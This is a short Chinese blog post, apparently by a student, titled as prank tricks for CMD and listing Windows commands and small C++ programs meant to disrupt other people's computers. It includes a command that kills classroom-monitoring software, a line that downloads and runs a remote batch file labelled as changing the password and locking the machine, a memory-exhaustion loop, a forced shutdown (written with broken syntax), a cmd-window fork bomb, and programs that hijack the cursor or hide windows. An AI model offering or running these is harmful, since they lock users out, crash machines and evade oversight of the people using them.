- 2022tysc1451 的博客
CMD坑人小技巧
- 2025-3-26 18:22:37 @
锁屏
rundll32.exe user32.dll,LockWorkStation
极域killer
taskkill -f -im studentmain.exe
改密锁机
start cmd /kd:&curl -L -O https://oiclass.com/file/9525/c.bat&start D:/c.bat"
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)cout<<"SB"<<endl&&SetCursorPos(rand()%x,rand()%y);
}
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
system("color 40");
}
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
while(1)malloc(1000);
}
#include<iostream>
#include<windows.h>
using namespace std;
int main(){
system(shutdown -s -t 0);
return 0;
}
#include<iostream>
#include<windows.h>
using namespace std;
int main(){
system("color F5");
for(;;)system("start cmd");
return 0;
}
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
while(1){
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
}
}